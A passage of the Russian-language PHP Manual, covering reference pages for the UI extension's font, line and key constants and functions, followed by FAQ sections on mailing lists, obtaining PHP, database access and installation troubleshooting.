  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Определение стиля

UI\Draw\Text\Font\Descriptor::getStretch

(UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getStretch — Определение стиля

Описание

public UI\Draw\Text\Font\Descriptor::getStretch(): int

Возвращает начертание

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Определение насыщенности

  • « UI\Draw\Text\Font\Descriptor::getStretch
  • Функции UI »
  • PHP Manual
  • UI\Draw\Text\Font\Descriptor
  • Определение насыщенности

UI\Draw\Text\Font\Descriptor::getWeight

(UI 1.0.3)

UI\Draw\Text\Font\Descriptor::getWeight — Определение насыщенности

Описание

public UI\Draw\Text\Font\Descriptor::getWeight(): int

Возвращает насыщенность

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Функции UI

Содержание

  • UI\Draw\Text\Font\fontFamilies — Извлечь семейство шрифтов
  • UI\quit — Выйти из цикла UI
  • UI\run — Войти в цикл UI

User Contributed Notes

There are no user contributed notes for this page.


Извлечь семейство шрифтов

  • « Функции UI
  • UI\quit »
  • PHP Manual
  • Функции UI
  • Извлечь семейство шрифтов

UI\Draw\Text\Font\fontFamilies

(UI 0.9.9)

UI\Draw\Text\Font\fontFamilies — Извлечь семейство шрифтов

Описание

UI\Draw\Text\Font\fontFamilies(): array

Возвращает массив допустимых семейств шрифтов для текущей системы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array) допустимых семейств шрифтов для текущей системы.

User Contributed Notes

There are no user contributed notes for this page.


Выйти из цикла UI

  • « UI\Draw\Text\Font\fontFamilies
  • UI\run »
  • PHP Manual
  • Функции UI
  • Выйти из цикла UI

UI\quit

(UI 2.0.0)

UI\quit — Выйти из цикла UI

Описание

UI\quit(): void

Вынуждает главный цикл завершить работу

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Войти в цикл UI

  • « UI\quit
  • UI\Draw\Text\Font\Weight »
  • PHP Manual
  • Функции UI
  • Войти в цикл UI

UI\run

(UI 2.0.0)

UI\run — Войти в цикл UI

Описание

UI\run(int $flags = ?): void

Приказывает PHP войти в главный цикл, по умолчанию контроль не возвращается к инициатору

Список параметров

flags

Вынуждает UI\Loop вернуть управление, а UI\Wait вернуть управление после ожидания

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Настройки начертания шрифта

(UI 0.9.9)

Введение

Обзор классов

final class UI\Draw\Text\Font\Weight {
/* Константы */
const int Thin;
const int UltraLight;
const int Light;
const int Book;
const int Normal;
const int Medium;
const int SemiBold;
const int Bold;
const int UltraBold;
const int Heavy;
const int UltraHeavy;
}

Предопределённые константы

UI\Draw\Text\Font\Weight::Thin
UI\Draw\Text\Font\Weight::UltraLight
UI\Draw\Text\Font\Weight::Light
UI\Draw\Text\Font\Weight::Book
UI\Draw\Text\Font\Weight::Normal
UI\Draw\Text\Font\Weight::Medium
UI\Draw\Text\Font\Weight::SemiBold
UI\Draw\Text\Font\Weight::Bold
UI\Draw\Text\Font\Weight::UltraBold
UI\Draw\Text\Font\Weight::Heavy
UI\Draw\Text\Font\Weight::UltraHeavy

User Contributed Notes

There are no user contributed notes for this page.


Настройки курсивного шрифта

(UI 0.9.9)

Введение

Обзор классов

final class UI\Draw\Text\Font\Italic {
/* Константы */
const int Normal = 0;
const int Oblique = 1;
const int Italic = 2;
}

Предопределённые константы

UI\Draw\Text\Font\Italic::Normal
UI\Draw\Text\Font\Italic::Oblique
UI\Draw\Text\Font\Italic::Italic

User Contributed Notes

There are no user contributed notes for this page.


Настройки толщины шрифта

(UI 0.9.9)

Введение

Обзор классов

final class UI\Draw\Text\Font\Stretch {
/* Константы */
const int UltraCondensed = 0;
const int ExtraCondensed = 1;
const int Condensed = 2;
const int SemiCondensed = 3;
const int Normal = 4;
const int SemiExpanded = 5;
const int Expanded = 6;
const int ExtraExpanded = 7;
const int UltraExpanded = 8;
}

Предопределённые константы

UI\Draw\Text\Font\Stretch::UltraCondensed
UI\Draw\Text\Font\Stretch::ExtraCondensed
UI\Draw\Text\Font\Stretch::Condensed
UI\Draw\Text\Font\Stretch::SemiCondensed
UI\Draw\Text\Font\Stretch::Normal
UI\Draw\Text\Font\Stretch::SemiExpanded
UI\Draw\Text\Font\Stretch::Expanded
UI\Draw\Text\Font\Stretch::ExtraExpanded
UI\Draw\Text\Font\Stretch::UltraExpanded

User Contributed Notes

There are no user contributed notes for this page.


Настройки концов линий

(UI 0.9.9)

Введение

Обзор классов

final class UI\Draw\Line\Cap {
/* Константы */
const int Flat;
const int Round;
const int Square;
}

Предопределённые константы

UI\Draw\Line\Cap::Flat
UI\Draw\Line\Cap::Round
UI\Draw\Line\Cap::Square

User Contributed Notes

There are no user contributed notes for this page.


Настройки соединения линий

(UI 0.9.9)

Введение

Обзор классов

final class UI\Draw\Line\Join {
/* Константы */
const int Miter;
const int Round;
const int Bevel;
}

Предопределённые константы

UI\Draw\Line\Join::Miter
UI\Draw\Line\Join::Round
UI\Draw\Line\Join::Bevel

User Contributed Notes

There are no user contributed notes for this page.


Ключевые идентификаторы

(UI 1.0.0)

Введение

Обзор классов

final class UI\Key {
/* Константы */
const int Escape;
const int Insert;
const int Delete;
const int Home;
const int End;
const int PageUp;
const int PageDown;
const int Up;
const int Down;
const int Left;
const int Right;
const int F1;
const int F2;
const int F3;
const int F4;
const int F5;
const int F6;
const int F7;
const int F8;
const int F9;
const int F10;
const int F11;
const int F12;
const int N0;
const int N1;
const int N2;
const int N3;
const int N4;
const int N5;
const int N6;
const int N7;
const int N8;
const int N9;
const int NDot;
const int NEnter;
const int NAdd;
const int NSubtract;
const int NMultiply;
const int NDivide;
}

Предопределённые константы

UI\Key::Escape
UI\Key::Insert
UI\Key::Delete
UI\Key::Home
UI\Key::End
UI\Key::PageUp
UI\Key::PageDown
UI\Key::Up
UI\Key::Down
UI\Key::Left
UI\Key::Right
UI\Key::F1
UI\Key::F2
UI\Key::F3
UI\Key::F4
UI\Key::F5
UI\Key::F6
UI\Key::F7
UI\Key::F8
UI\Key::F9
UI\Key::F10
UI\Key::F11
UI\Key::F12
UI\Key::N0
UI\Key::N1
UI\Key::N2
UI\Key::N3
UI\Key::N4
UI\Key::N5
UI\Key::N6
UI\Key::N7
UI\Key::N8
UI\Key::N9
UI\Key::NDot
UI\Key::NEnter
UI\Key::NAdd
UI\Key::NSubtract
UI\Key::NMultiply
UI\Key::NDivide

User Contributed Notes

There are no user contributed notes for this page.


InvalidArgumentException

(UI 1.0.3)

Введение

Обзор классов

class UI\Exception\InvalidArgumentException extends InvalidArgumentException implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


RuntimeException

(UI 1.0.3)

Введение

Обзор классов

class UI\Exception\RuntimeException extends RuntimeException implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* Наследуемые методы */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

User Contributed Notes

There are no user contributed notes for this page.


ЧАВО: ЧАсто задаваемые Вопросы и Ответы на них

  • Общая информация
  • Списки рассылки
  • Получение PHP
  • Вопросы по базам данных — Вопросы по Базам данных
  • Установка
  • Проблемы сборки
  • Использование PHP
  • Хеширование паролей — Безопасное хеширование паролей
  • PHP и HTML — PHP и HTML-разметка
  • PHP и COM
  • Разные вопросы

User Contributed Notes

There are no user contributed notes for this page.


Общая информация

Этот раздел содержит наиболее общие вопросы по PHP: что это такое и что он делает.

  1. Что такое PHP?
  2. Что означает PHP?
  3. Какая связь между версиями PHP?
  4. Могу ли я одновременно запускать несколько версий PHP?
  5. Я думаю, Я нашёл ошибку! Кому я должен сказать?
Что такое PHP?

Из предисловия к руководству:

PHP - это скриптовый язык, который может быть встроен в HTML. Синтаксис языка в большинстве заимствован из C, Java и Perl c добавлением нескольких специфичных для PHP особенностей. Цель языка - позволить веб-разработчикам легко создавать динамически генерируемые страницы.

Что означает PHP?

PHP означает PHP: Hypertext Preprocessor. Это название смущает многих людей, так как первое слово в акрониме также является акронимом. Такой тип акронимов называется рекурсивным. Любопытствующие могут посетить » бесплатный вычислительный онлайн-словарь или » статью Википедии по рекурсивным акронимам.

Какая связь между версиями PHP?

PHP/FI 2.0 - ранняя и более неподдерживаемая версия PHP. PHP 3 - улучшенная замена PHP/FI 2.0. PHP 8 - текущая версия, которая использует Zend engine 4, которая, кроме прочего, предлагает множество дополнительных возможностей для объектно-ориентированного программирования.

Могу ли я одновременно запускать несколько версий PHP?

Да. Смотрите файл INSTALL из дистрибутива исходников PHP.

Я думаю, Я нашёл ошибку! Кому я должен сказать?

Вам надо обратиться к базе данных ошибок в PHP и убедиться, что ошибка ещё не известна. Если вы не видите её в базе данных, заполните форму сообщения об ошибках. При занесении в базу данных, ошибка получает номер, по которому вы можете отслеживать её статус, поэтому важно использовать базу данных, а не просто послать сообщение в один из списков рассылки, так как это позволит вам позже вернуться и проверить состояние ошибки. База данных ошибок может быть найдена по адресу » https://github.com/php/php-src/issues.

User Contributed Notes

There are no user contributed notes for this page.


Списки рассылки

Этот раздел собрал вопросы о способах связи с PHP-сообществом. Лучший способ — списки рассылки.

  1. Существуют ли списки рассылки PHP?
  2. Существуют ли другие сообщества?
  3. Могу ли я начать свой список рассылки PHP?
  4. Помогите! Похоже, я не могу подписаться или отписаться на один из списков рассылки.
  5. Существует ли где-нибудь архив списков рассылки?
  6. О чём я могу спрашивать в списке рассылки?
  7. Какую информацию я должен включить при отправке в список?
Существуют ли списки рассылки PHP?

Конечно! Существует множество списков рассылки на разные темы. Полный перечень списков даёт страница » списков рассылки.

Адрес общего списка рассылки — php-general. Чтобы подписаться на него, отправьте пустое письмо на адрес » php-general+subscribe@lists.php.net. Чтобы отписаться, отправьте пустое письмо на адрес » php-general+unsubscribe@lists.php.net.

Подписаться или отписаться на список рассылки также получится через веб-интерфейс на странице » списков рассылки, а инструкции по отписке есть внизу каждого сообщения из рассылки.

Существуют ли другие сообщества?

Бессчётное количество по всему миру. На странице » поддержки, например, есть ссылки на ряд ресурсов и информация о том, как узнать больше.

Могу ли я начать свой список рассылки PHP?

Конечно! На самом деле мы не только разрешаем это бесплатно, мы это поощряем! Когда вы помогаете и делитесь знаниями и опытом по PHP с другими, вы поощряете рост и разработку как глобального сообщества PHP, так и языка.

Помогите! Похоже, я не могу подписаться или отписаться на один из списков рассылки.

Наиболее распространенная причина, по которой не получается отписаться от списков рассылки, — пересылка почты. Например, если ваш адрес электронной почты elephpant@example.com, но вы подписались на список рассылки с адреса php-lists@example.com, который пересылает письма, и пересылаете письма на адрес elephpant@example.com, попытка отписать адрес elephpant@example.com не сработает, поскольку этот адрес даже не известен нашим системам. Вместо этого вам нужно отписать адрес, на который отправляется письмо, отправив письмо с этого адреса, в этом примере — с php-lists@example.com.

Существует ли где-нибудь архив списков рассылки?

Да, список архивов можно найти на странице » списков рассылки. Вы также найдёте дюжины сайтов, которые архивируют и (или) отдают содержание наших списков рассылок в любимом вами поисковике. Просто задайте вопрос «архивы списков рассылки по php» (php mailing list archives).

Статьи списков рассылки также архивируются в виде сообщений новостей. Сервер новостей доступен по адресу » news://news.php.net/ через новостной клиент. Есть также экспериментальный веб-интерфейс для сервера новостей, который доступен по адресу » http://news.php.net/.

О чём я могу спрашивать в списке рассылки?

С растущей день ото дня популярностью PHP, нагрузка на список рассылки php-general увеличилась и на составляет от 75 до 200 и более сообщений в день. Поэтому, в интересах всех, используйте список рассылки только в крайнем случае, когда поиски в других местах не дали результата.

Прежде чем отправить сообщение в список, пожалуйста, просмотрите этот FAQ и это руководство, возможно, в них вам удастся найти решение проблемы. Если там не удалось ничего найти, просмотрите архивы списка (смотрите выше). Если у вас проблема с установкой или настройкой PHP, пожалуйста, прочтите сопровождающую документацию и файлы README. Если после всего этого не удалось найти ответ, то ваш вопрос в списке рассылки более чем желателен.

Чтобы получить наилучший ответ (и чтобы не расстраивать ваших собратьев-программистов), пожалуйста, проверьте, что отсылаете вопрос в соответствующий список рассылки. Например, если возникла проблема с установкой PHP, нужно отправить вопрос в список рассылки php-install. Предостережение: у некоторых списков похожие имена и совершенно разные назначения; вопрос по работе PHP-скриптов в Windows должен быть отправлен в пользовательский список рассылки — Windows PHP users, а не список PHP разработчиков в Windows — Windows Internals list.

Хорошая идея — прежде чем задавать вопросы, прочитать статью » Как умно задавать вопросы.

Какую информацию я должен включить при отправке в список?

Сообщения наподобие «Не могу запустить PHP! Помогите мне! В чем дело?» бесполезны. Если у вас проблема с запуском PHP, нужно указать операционную систему, версию PHP, как вы его получили (прекомпилированный, Git, RPM и т. п.), что уже сделали, на чём остановились, и, если есть, точное сообщение об ошибке.

Это также относится к любой другой проблеме. Нужно указать, что вы уже сделали, на чём застопорились, что пытаетесь делать и, если есть, любые сообщения об ошибках. Если проблема с исходным кодом, который вы написали, то надо включить фрагмент кода, который не работает, и указать проблемную строку, сопроводив её правильным комментарием. Но не пытайтесь отправить больше, чем надо! Иначе ваше сообщение будет тяжело читать и большинство людей его просто пропустит. Если трудно решить, какой объем информации достаточен, отправьте столько, сколько нужно по текущей проблеме, и приготовьтесь выслать больше информации по запросу.

Другая важная вещь, которую стоит помнить, это краткое изложение вашей проблемы в строке темы сообщения. Заголовки типа «ПОМОГИТЕ МНЕЕЕ!!!» или «В чём здесь проблема?» проигнорирует большинство читателей.

И напоследок, для общей пользы и особенно для вас, рекомендуем прочитать статью » Как умно задавать вопросы.

User Contributed Notes

There are no user contributed notes for this page.


Получение PHP

Этот раздел содержит информацию о том, где получить PHP и вопросы, касающиеся OC.

  1. Где я могу взять PHP?
  2. Доступны ли прекомпилированная бинарная версия?
  3. Где я могу достать библиотеки, необходимые для компиляции некоторых дополнительных модулей PHP?
  4. Как подключить эти библиотеки?
  5. Я скачал последнюю версию исходных кодов PHP из Git-репозитория на мою машину Windows, как мне их скомпилировать?
  6. Где найти файл совместимости браузеров ?
  7. Что означает потокобезопасность при загрузке PHP?
Где я могу взять PHP?

Вы можете скачать PHP с любого сайта из сети сайтов PHP. Сайты сети можно найти на » https://www.php.net/. Вы также можете воспользоваться анонимным Git для получения самой последней версии исходников. За подробностями обращайтесь к » https://www.php.net/git.php.

Доступны ли прекомпилированная бинарная версия?

Мы распространяем прекомпилированные бинарники только для Windows, так как мы не в состоянии компилировать PHP со всеми возможными комбинациями модулей, даже для самых основных платформ Linux/Unix. Также заметьте, что на сегодня многие дистрибутивы Linux поставляются с PHP. Бинарники для Windows можно скачать с нашей страницы » Downloads, для бинарников под Linux, пожалуйста, посетите сайт вашего дистрибутива.

Где я могу достать библиотеки, необходимые для компиляции некоторых дополнительных модулей PHP?

Замечание: Звёздочкой (*) помечены библиотеки, которые исходя из нашего опыта являются потоко-небезопасными; эти библиотеки не рекомендуется использовать в многопоточной среде.

  • » LDAP (Unix).
  • » LDAP (Unix/Win) : Mozilla Directory (LDAP) SDK
  • » бесплатный LDAP сервер.
  • » Berkeley DB2 (Unix/Win) : http://www.sleepycat.com/.
  • » SNMP* (Unix): .
  • » GD (Unix/Win).
  • » mSQL* (Unix).
  • » PostgreSQL (Unix).
  • » IMAP* (Win/Unix).
  • » Sybase-CT* (Linux, libc5) : Available locally.
  • » FreeType (libttf):.
  • » ZLib (Unix/Win32).
  • » expat XML parser (Unix/Win32).
  • » PDFLib.
  • » mcrypt.
  • » mhash.
  • » t1lib.
  • » dmalloc.
  • » aspell.
  • » readline.

Как подключить эти библиотеки?

Вам необходимо следовать инструкциям, сопровождающим библиотеку. При запуске скрипта 'configure', некоторые библиотеки (такие как библиотека GD) находятся автоматически, другие должны быть включены с помощью опции '--with-EXTENSION' в 'configure'. Запустите 'configure --help' для получения списка всех опций.

Я скачал последнюю версию исходных кодов PHP из Git-репозитория на мою машину Windows, как мне их скомпилировать?

Изучите раздел руководства, содержащий актуальное » пошаговое руководство по сборке

Где найти файл совместимости браузеров ?

Файл browscap.ini можно скачать с » http://browscap.org/.

Что означает потокобезопасность при загрузке PHP?

Потокобезопасность означает, что данный бинарный файл может работать с многопоточным веб-сервером, например таким, как Apache 2 под Windows. Потокобезопасность обеспечивается хранением локальных копий в каждом потоке, так что данные не вступят в противоречие с другим потокам.

Так что же выбрать? Если вы хотите использовать PHP в качестве бинарного файла CGI, то вам не нужна потокобезопасность, так как бинарный файл будет запускаться при каждом запросе. Для многопоточных веб-серверов, таких как IIS5 и IIS6, вам понадобится поточная версия PHP.

User Contributed Notes

There are no user contributed notes for this page.


Вопросы по Базам данных

Этот раздел содержит общие вопросы о связи между PHP и базами данных. Да, сегодня практически любая база данных может быть доступна из PHP.

  1. Я слышал, что можно получить доступ к Microsoft SQL серверу из PHP. Как?
  2. Могу ли я получить доступ к базам данных Microsoft Access?
Я слышал, что можно получить доступ к Microsoft SQL серверу из PHP. Как?

На Unix вы можете использовать PDO_ODBC или Унифицированное ODBC API.

На Windows вы можете использовать PDO_SQLSRV или SQLSRV.

Также смотрите ответ на следующий вопрос.

Могу ли я получить доступ к базам данных Microsoft Access?

Если вы хотите связать PHP, выполняющийся на Unix, и MS Access на Windows, то вам будут нужны драйверы ODBC для Unix. Такие ODBC драйверы для Unix есть у » OpenLink Software.

Другая возможность - хранить данные на SQL сервере, который имеет ODBC драйверы для Windows, и затем обращаться к этой базе данных из Microsoft Access (используя ODBC) и из PHP (используя встроенные драйверы) или использовать промежуточный формат, понятный и для Access, и для PHP, например, простые файлы или базы данных dBase. По этому поводу Тим Хэйз (Tim Hayes) из OpenLink software пишет:

Использование промежуточной базы данных - не очень хорошая идея, когда есть возможность работать с базой данных напрямую из PHP через ODBC, например с драйверами от OpenLink. Если вам всё-таки надо использовать промежуточный формат, OpenLink выпустил Virtuoso (механизм виртуальной базы данных) для NT, Linux и других платформ Unix. Пожалуйста, посетите наш » веб-сайт для бесплатной загрузки.

Другой проверенный вариант - использовать MySQL с её MyODBC драйверами на Windows и делать синхронизацию баз данных. Стив Лоренс (Steve Lawrence) пишет:

  • Установите MySQL согласно поставляемым с ней инструкциям. Последняя версия доступна с » http://www.mysql.com/. Особой конфигурации не требуется, за исключением того, что при настройке баз данных и создании пользователя, в поле хоста вы должны поместить % или имя Windows машины, на которую вы хотите получить доступ из MySQL. Запишите имя вашего сервера, имя пользователя и пароль.
  • Скачайте драйвер MyODBC для Windows с сайта MySQL. Установите его на вашей машине Windows. Вы можете проверить его работоспособность с помощью поставляемых с ним утилит.
  • Создайте пользователя или системный dsn в вашем администраторе ODBC, расположенном в контрольной панели. Создайте имя dsn, введите имя хоста, имя пользователя, пароль и т.д. для вашей базы данных MySQL, сконфигурированной на 1-ом шаге.
  • Установите полную версию Access, это даст вам уверенность, что вы получите все нужные расширения (add-ins). По крайней мере вам будут необходимы поддержка ODBC и администратор связанных таблиц.
  • И теперь самое интересное! Создайте новую базу данных Access. В окне таблицы щёлкните правой кнопкой мышки и выберите Link Tables (Связать Таблицы), либо из файлового меню выберите Get External Data (Получить Внешние Данные) и затем Link Tables. В появившемся окне просмотра файлов выберите файлы типа ODBC. Выберите системный dsn и имя вашего dsn, созданного на 3-ем шаге. Выберите таблицу для связи, нажмите OK и вуаля! Теперь вы можете открыть таблицу и добавить/удалить/отредактировать данные на вашем MySQL сервере! Вы также можете строить запросы, импортировать/экспортировать таблицы в MySQL, создавать формы и отчёты, и т.д.

Полезные советы и трюки:

  • Вы можете создавать ваши таблицы в Access, экспортировать их в MySQL и затем привязать их назад. Это увеличивает скорость создания таблиц.
  • При создании таблиц в Access, вы должны определить первичный ключ, чтобы иметь доступ к таблице по записи. Убедитесь что вы создали первичный ключ в MySQL перед тем как привязать таблицу к Access.
  • Если вы изменяете таблицу в MySQL, то вы должны связать её с Access по новой. Идите в tools>add-ins>linked table manager, следуйте к вашему ODBC DSN, и выберите оттуда таблицу для пересвязки. Там же вы можете изменить источник вашего dsn, для этого, перед тем как нажать OK, просто пометьте "always prompt for new location" (всегда запрашивать новое местонахождение).

User Contributed Notes

knb at gfz-potsdam dot de 11-Oct-2004 02:53
This is a crucial piece of information for SYBASE users:

If you are using the free, but old, 11.x client libs from sybase,
 then compile with option  "--with-sybase-ct=$SYBASE"
substitute $SYBASE with the appropriate directory name.

option --with-sybase (without ct) can somehow be used to talk to old MS-SQL servers, but only with the 11.x client libs.

If you are using free, or have legally obtained, 12.x client libs from sybase, then compile with option  "--with-sybase-ct=$SYBASE/$SYBASE_OCS"
substitute $SYBASE/$SYBASE_OCS with the appropriate directory name.


Установка

Этот раздел содержит общие вопросы о способах установки PHP. Дистрибутивы PHP совместимы с большей частью операционных систем и веб-серверов.

Инструкции раздела «Установка и настройка» рассказывают, как установить PHP.

  1. Почему лучше не пользоваться веб-сервером Apache2 с многопоточным модулем MPM (event, worker) в производственной среде?
  2. ОС Unix и Windows: Где искать файл php.ini?
  3. Unix: Я установил PHP, но при каждом открытии какого-либо документа вижу «Document Contains No Data», что это значит?
  4. Unix: Я установил PHP через менеджер пакетов RPMS, но Apache не обрабатывает PHP-страницы, в чём дело?
  5. Unix: Я исправил Apache модулем FrontPage и теперь PHP не работает. Получается, PHP несовместим с модулями Apache FrontPage?
  6. Unix и Windows: Я установил PHP, но при попытке открыть PHP-файл в браузере вижу пустой экран.
  7. Unix и Windows: Я установил PHP, но когда пытаюсь посмотреть созданную PHP-страницу в браузере, получаю ошибку 500.
  8. Некоторые операционные системы: Я установил PHP без ошибок, но когда пытаюсь запустить Apache, выводится ошибка: [mybox:user /src/php5] root# apachectl configtest apachectl: /usr/local/apache/bin/httpd Undefined symbols: _compress _uncompress
  9. Windows: Я установил PHP, но когда пытаюсь открыть страницу скрипта в браузере, получаю ошибку: cgi error: The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:
  10. Windows: Я всё сделал по инструкции, но PHP и сервер IIS не хотят работать вместе!
  11. Когда я запускаю PHP как интерфейс CGI к веб-серверам IIS, PWS, OmniHTTPD или Xitami, получаю ошибку: Security Alert! PHP CGI cannot be accessed directly..
  12. Как я могу понять, что файл php.ini найден и используется? Складывается впечатление, что вносимые изменения игнорируются.
  13. Как добавить директорию PHP в переменную PATH в Windows?
  14. Как в Windows я могу сделать файл php.ini доступным для PHP?
  15. Можно ли использовать согласование контента Apache (опция MultiViews) с PHP?
  16. Ограничен ли PHP только обработкой HTTP-методов GET и POST?
Почему лучше не пользоваться веб-сервером Apache2 с многопоточным модулем MPM (event, worker) в производственной среде?

PHP — связующее звено. Это связующее звено помогает создавать крутые веб-приложения путём объединения десятков сторонних библиотек в единое целое за счёт интуитивно понятного и простого в освоении языкового интерфейса. Гибкость и сила PHP основана на стабильности и устойчивости, лежащей в основе платформы. Чтобы всё работало, нужна рабочая операционная система, рабочий веб-сервер и рабочие сторонние библиотеки. Когда один элемент перестаёт работать, PHP нуждается в способах выявления и безотлагательного исправления проблем. И когда разработчик усложняет базовый фреймворк тем, что не изолирует исполняемые потоки и сегменты памяти, и не даёт потокам отдельных изолированных «песочницы», — ослабляется вся PHP-система.

Если нужно подключить многопоточный модуль MPM, посмотрите на конфигурацию протокола FastCGI, в которой PHP выполняется в своём пространстве памяти.

ОС Unix и Windows: Где искать файл php.ini?

По умолчанию в Unix файл лежит в каталоге /usr/local/lib, который соответствует <установочный-путь>/lib. Этот путь можно изменить в момент компиляции через флаг --with-config-file-path Например, так:

--with-config-file-path=/etc
И затем скопировать файл php.ini-development из дистрибутива по пути /etc/php.ini, а затем внести в него необходимые изменения.

--with-config-file-scan-dir=PATH

В ОС Windows путь к файлу php.ini по умолчанию — это путь к директории Windows. Если разработчик пользуется веб-сервером Apache, файл php.ini лежит по пути: ?\program files\apache group\apache\. Поэтому можно иметь разные файлы php.ini для разных версий Apache на одном компьютере.

Смотрите также: файл настроек.

Unix: Я установил PHP, но при каждом открытии какого-либо документа вижу «Document Contains No Data», что это значит?

Это значит, что, возможно, PHP столкнулся с какой-то проблемой и падает в core-dump. Просмотрите логи ошибок сервера, чтобы проверить это, а затем попытайтесь воспроизвести цепочку шагов, которые привели к ошибке; например, создав отдельную тестовую программу. И если вы умеете пользоваться отладчиком gdb, то это поможет получить стек вызовов функций (backtrace) для включения его в отчёт об ошибке, чтобы упростить выявление причин проблемы разработчикам. Если PHP работает как модуль для веб-сервера Apache, может оказаться полезным следующее:

  • Остановите httpd-процессы

  • gdb httpd

  • Вновь остановите httpd-процессы

  • > run -X -f путь_к_httpd.conf

  • Затем скопируйте URL, который вызвал проблему в браузере

  • > run -X -f путь_к_httpd.conf

  • Если будет происходить core dump, отладчик gdb сообщит об этом

  • Введите bt

  • Включите backtrace в отчёт об ошибке. И отправьте по адресу: » https://github.com/php/php-src/issues

Если скрипт использует регулярные выражения (preg_match() и подобные), проверьте, с одинаковыми ли пакетами обработки RegEx скомпилированы PHP и Apache? В случае PHP и Apache 1.3.x это происходит автоматически.

Unix: Я установил PHP через менеджер пакетов RPMS, но Apache не обрабатывает PHP-страницы, в чём дело?

Если вы установили и Apache, и PHP из RPM-пакетов, раскомментируйте или добавьте все или часть следующих строк в файл httpd.conf:

# Extra Modules
AddModule mod_php.c
AddModule mod_perl.c

# Extra Modules
LoadModule php_module         modules/mod_php.so
LoadModule php5_module        modules/libphp5.so
LoadModule perl_module        modules/libperl.so
И добавьте:
AddType application/x-httpd-php .php
...в глобальные свойства или в свойства того виртуального домена VirtualDomain, для которого нужно включить поддержку PHP.

Unix: Я исправил Apache модулем FrontPage и теперь PHP не работает. Получается, PHP несовместим с модулями Apache FrontPage?

Нет, PHP отлично работает с модулями FrontPage. Проблема в том, что патч FrontPage изменяет ряд структур Apache, на которые полагается PHP. Перекомпиляция PHP командой «make clean ; make» после установки патча FP решит проблему.

Unix и Windows: Я установил PHP, но при попытке открыть PHP-файл в браузере вижу пустой экран.

Выберите в браузере опцию «Посмотреть исходный код» и, возможно, увидите свой PHP-код. Это значит, что веб-сервер не передал скрипт интерпретатору PHP. Что-то не так с конфигурацией сервера. Внимательно проверьте конфигурацию сервера на соответствие инструкциям по установке PHP.

Unix и Windows: Я установил PHP, но когда пытаюсь посмотреть созданную PHP-страницу в браузере, получаю ошибку 500.

Что-то пошло не так, когда сервер попытался запустить PHP. Чтобы увидеть возникающую исходную ошибку, в командной строке перейдите в директорию, в которой лежит исполняемый файл PHP (php.exe в Windows), и запустите команду php -i. Если есть какие-либо проблемы с запуском PHP, будет выведена соответствующая ошибка, которая подскажет, что надо исправить. Если вы увидите экран с HTML-кодом (вывод функции phpinfo()), значит, PHP работает нормально, и проблема связана с настройками веб-сервера.

Некоторые операционные системы: Я установил PHP без ошибок, но когда пытаюсь запустить Apache, выводится ошибка:
[mybox:user /src/php5] root# apachectl configtest
 apachectl: /usr/local/apache/bin/httpd Undefined symbols:
  _compress
  _uncompress

Это означает, что проблема не в PHP, а в клиентских библиотеках MySQL. Часть библиотек требуют сборки PHP с опцией --with-zlib. Этот нюанс описан в FAQ по MySQL.

Windows: Я установил PHP, но когда пытаюсь открыть страницу скрипта в браузере, получаю ошибку:
cgi error:
 The specified CGI application misbehaved by not
 returning a complete set of HTTP headers.
 The headers it did return are:

Это сообщение говорит о том, что PHP не смог вывести данные в стандартный поток ввода-вывода. Чтобы увидеть понятное сообщение об ошибке, в командной строке перейдите в директорию, в которой лежит исполняемый файл PHP (php.exe в Windows), и запустите команду php -i. Если есть проблемы с запуском PHP, будет выведена соответствующая ошибка, которая подскажет, что надо исправить. Если вы увидите экран с HTML-кодом (вывод функции phpinfo()), значит, PHP работает нормально.

Как только PHP заработает в командной строке, попробуйте снова получить доступ к скрипту через браузер. Если это по-прежнему не удаётся, возможны следующие причины:

  • Права на PHP-скрипт, файлы php.exe, php5ts.dll, php.ini или модули PHP, которые вы пытаетесь загрузить, не дают анонимному интернет-пользователю ISUR_<machinename> получить к ним доступ.
  • Файл скрипта отсутствует (или, возможно, лежит не там, где вы предполагали, относительно корневого каталога веб-сервера). Обратите внимание, что на веб-сервере IIS можно отловить ошибку, отметив опцию «check file exists» в настройках «script mappings» в Internet Services Manager. Если файл отсутствует, сервер вместо этого вернёт ошибку 404. Дополнительное преимущество состоит в том, что IIS будет выполнять необходимую аутентификацию на основе разрешений NTlanMan в файле сценария.
Windows: Я всё сделал по инструкции, но PHP и сервер IIS не хотят работать вместе!

Убедитесь, что пользователи, которым может потребоваться запуск PHP-скрипта, имеют права на запуск php.exe! Веб-сервер IIS использует анонимного пользователя, который был создан при инсталляции. Этот пользователь должен иметь права на запуск файла php.exe. Так же, каждый авторизованный пользователь должен иметь права на запуск php.exe. А для IIS4 нужно сказать, что PHP — это скриптовый движок. Также прочтите этот FAQ.

Когда я запускаю PHP как интерфейс CGI к веб-серверам IIS, PWS, OmniHTTPD или Xitami, получаю ошибку: Security Alert! PHP CGI cannot be accessed directly..

Вы должны установить опцию cgi.force_redirect со значением 0. По умолчанию она равна 1. Убедитесь, что она не закомментирована символом ;. Как и остальные опции PHP, её настраивают в файле php.ini

